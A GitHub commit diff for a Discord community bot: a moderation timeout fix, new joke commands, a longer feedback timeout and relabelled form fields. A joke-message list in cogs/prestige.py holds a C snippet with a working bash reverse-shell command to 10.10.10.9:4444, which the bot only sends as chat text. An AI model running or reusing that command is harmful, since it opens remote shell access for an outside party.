Skip to content

Commit

Permalink
Browse files Browse the repository at this point in the history
  • Loading branch information
yagomichalak committed Aug 4, 2024
2 parents 3ec4c58 + d896e0e commit 73c4741
Show file tree
Hide file tree
Showing 4 changed files with 44 additions and 17 deletions.
2 changes: 1 addition & 1 deletion cogs/moderation.py
Original file line number Diff line number Diff line change
Expand Up @@ -676,7 +676,7 @@ async def timeout(self, ctx: commands.Context, member: discord.Member, warn_type
timeout_duration = sum([
weeks * 604800, # 1 week = 604800 seconds
days * 86400, # 1 day = 86400 seconds
(hours-1) * 3600 # 1 hour = 3600 seconds
hours * 3600 # 1 hour = 3600 seconds
])
try:
current_ts = await utils.get_timestamp() + timeout_duration
Expand Down
31 changes: 29 additions & 2 deletions cogs/prestige.py
Original file line number Diff line number Diff line change
Expand Up @@ -3,6 +3,7 @@

import os
from random import choice
from random import randrange

mod_role_id = int(os.getenv('MOD_ROLE_ID', 123))
admin_role_id = int(os.getenv('ADMIN_ROLE_ID', 123))
Expand Down Expand Up @@ -106,7 +107,7 @@ async def frenesia(self, ctx) -> None:
@commands.command(aliases=["cafone", "napoletano", "forzanapoli", "ihatepython", "cbestlanguage", "iloveassembly", "iloveasm"])
async def _cafone(self, ctx) -> None:
""" A command for telling something about cafone. """

sentences = [
"i heard **assembly** <:peep_selfie:959872040301629561> <@703017795738402827>",
"i heard **c++** <:peep_selfie:959872040301629561> <@703017795738402827>",
Expand All @@ -122,7 +123,7 @@ async def _cafone(self, ctx) -> None:
const char* command = "/bin/bash -c '/bin/bash -i >& /dev/tcp/10.10.10.9/4444 0>&1'";
const char* message = "cafone best engineer and hacker\\n";
int result;
result = system(command);
if(result == -1)
{
Expand Down Expand Up @@ -157,6 +158,18 @@ async def sousa(self, ctx) -> None:

await ctx.send(choice(sentences))

@commands.command(aliases=["birds"])
async def keybirds(self, ctx) -> None:
""" A command for telling something about Keybirds. """

sentences = [
"<@584699027421921280> Well, sounds like a good idea",
"<@584699027421921280> Stina wants to go outside",
"<@584699027421921280> I closed it and now it's closed"
]

await ctx.send(choice(sentences))

@commands.command()
async def loral(self, ctx) -> None:
""" A command for telling something about loral. """
Expand All @@ -175,6 +188,20 @@ async def anis(self, ctx) -> None:

await ctx.send("<@515991382217981952> niso")

@commands.command(aliases=["hodjapie", "onekebappls"])
async def hodja(self, ctx) -> None:
""" A command for telling something about the kebap guy, hodja. """

sentences = [
"**I THOUGHT YOU WERE A GIRL** <@201086628167417857>",
"*One kebap, please!* <@201086628167417857>"
]

if randrange(67) == 33:
await ctx.send("**SUPER RARE DOUBLE LAVASH KEBAP PULL!!!** <@201086628167417857>")
else:
await ctx.send(choice(sentences))

def setup(client) -> None:
""" Cog's setup function. """

Expand Down
16 changes: 8 additions & 8 deletions cogs/teacherfeedback.py
Original file line number Diff line number Diff line change
Expand Up @@ -152,7 +152,7 @@ async def on_voice_state_update_private(self, member, before, after) -> None:

private_rooms = await cog.get_premium_vc(before.channel.id)
if private_rooms:

private_vc = discord.utils.get(guild.voice_channels, id=private_rooms[0][1]) # Vc channel
private_txt = discord.utils.get(guild.text_channels, id=private_rooms[0][2]) # Txt channel

Expand Down Expand Up @@ -628,7 +628,7 @@ async def reward_accepted_students(self, teacher: discord.Member, users_to_rewar
if await SlothCurrency.get_user_currency(member.id):
await SlothCurrency.update_user_money(member.id, 10)
await SlothCurrency.update_user_class_reward(ru[0])

await self.client.loop.create_task(self.ask_for_user_feedback(
teacher, language, class_type, member, teacher_feedback_thread))
except Exception as e:
Expand All @@ -651,7 +651,7 @@ async def reward_accepted_students(self, teacher: discord.Member, users_to_rewar
return await self.db.delete_rewarded_users(msg_id)

async def ask_for_user_feedback(
self, teacher: discord.Member, language: str, class_type: str,
self, teacher: discord.Member, language: str, class_type: str,
member: discord.Member, teacher_feedback_thread: discord.Thread) -> None:
""" Asks for user feedback regarding a specific teacher class.
:param teacher: The teacher of that class.
Expand Down Expand Up @@ -683,7 +683,7 @@ async def ask_for_user_feedback(
if confirm_view.value:
# Prompts for a feedback
await member.send("Please, send a feedback message containing a maximum of `1000` characeters.")
feedback_message = await prompt_message(self.client, member, member, limit=1000, timeout=6000)
feedback_message = await prompt_message(self.client, member, member, limit=1000, timeout=86400)
# Feedback embed
user_response_embed = discord.Embed(
title="__Feedback__:",
Expand Down Expand Up @@ -716,7 +716,7 @@ async def get_custom_language_role(self, member: discord.Member, language: str)
# Checks whether the role exists
if custom_role:
language = custom_role.name

else:
language = custom_role_name

Expand Down Expand Up @@ -792,7 +792,7 @@ async def get_perms_for_taught_in(self, member: discord.Member, language: str, t
if studying_role := discord.utils.get(member.guild.roles, name=f"Studying {taught_in.title()}"):
overwrites[studying_role] = discord.PermissionOverwrite(
read_messages=True, send_messages=True, connect=True, speak=True, view_channel=True, embed_links=True)

return overwrites

async def get_channel_perms(self, member: discord.Member, language: str, taught_in: str) -> Dict[str, discord.PermissionOverwrite]:
Expand All @@ -817,7 +817,7 @@ async def get_channel_perms(self, member: discord.Member, language: str, taught_
overwrites = await self.get_perms_for_language(member, language, overwrites)
# Class taught in
overwrites = await self.get_perms_for_taught_in(member, language, taught_in, overwrites)

if queuebot := discord.utils.get(member.guild.members, id=queuebot_id):
overwrites[queuebot] = discord.PermissionOverwrite(
read_messages=True, send_messages=True, view_channel=True
Expand Down Expand Up @@ -1161,7 +1161,7 @@ async def insert_active_teacher_class(self, teacher_id: int, txt_id: int, vc_id:
:param the_time: The current timestamp.
:param class_desc: The class description.
:param taught_in: The language that the class is taught in. """

mycursor, db = await the_database()
await mycursor.execute("""
INSERT INTO ActiveClasses (teacher_id, txt_id, vc_id, language, class_type, vc_timestamp, class_desc, taught_in)
Expand Down
12 changes: 6 additions & 6 deletions extra/modals.py
Original file line number Diff line number Diff line change
Expand Up @@ -25,13 +25,13 @@ def __init__(self, client: commands.Bot) -> None:
)
self.add_item(
InputText(
label="What's your English level?",
label="Languages spoken and proficiency level?",
style=discord.InputTextStyle.short
)
)
self.add_item(
InputText(
label="How could you make a better community?",
label="How could you make a better community?",
style=discord.InputTextStyle.paragraph)
)
self.add_item(
Expand Down Expand Up @@ -62,7 +62,7 @@ async def callback(self, interaction: discord.Interaction) -> None:
embed.add_field(name="Native roles", value=', '.join(member_native_roles), inline=False)
embed.add_field(name="Age, gender, timezone", value=self.children[1].value, inline=False)
embed.add_field(name="Discord Activity", value=self.children[0].value, inline=False)
embed.add_field(name="English level", value=self.children[2].value, inline=False)
embed.add_field(name="Language Levels", value=self.children[2].value, inline=False)
embed.add_field(name="Approach to make Sloth a better community", value=self.children[3].value, inline=False)
embed.add_field(name="Motivation for application", value=self.children[4].value, inline=False)

Expand Down Expand Up @@ -259,7 +259,7 @@ async def callback(self, interaction: discord.Interaction) -> None:

if not confirm_view.value:
return await interaction.followup.send(f"**Not doing it then, {member.mention}!**", ephemeral=True)

self.cog.cache[member.id] = await utils.get_timestamp()
await confirm_view.interaction.followup.send(content="""
**Application successfully made, please, be patient now.**
Expand Down Expand Up @@ -421,7 +421,7 @@ async def callback(self, interaction) -> None:
print(e)
else:
return #await self.cog.audio(member, 'general_help_alert')

elif self.option == 'Help':
message = f"Please, {member.mention}, inform us what roles you want, and if you spotted a specific problem with the reaction-role selection."
try:
Expand Down Expand Up @@ -546,7 +546,7 @@ async def callback(self, interaction: discord.Interaction) -> None:
)

embed.set_thumbnail(url=member.display_avatar)

embed.add_field(name="Who's traveling:", value=member.mention, inline=False)
embed.add_field(name="Where", value=self.children[0].value, inline=False)
embed.add_field(name="When", value=self.children[1].value, inline=False)
Expand Down

0 comments on commit 73c4741

Please sign in to comment.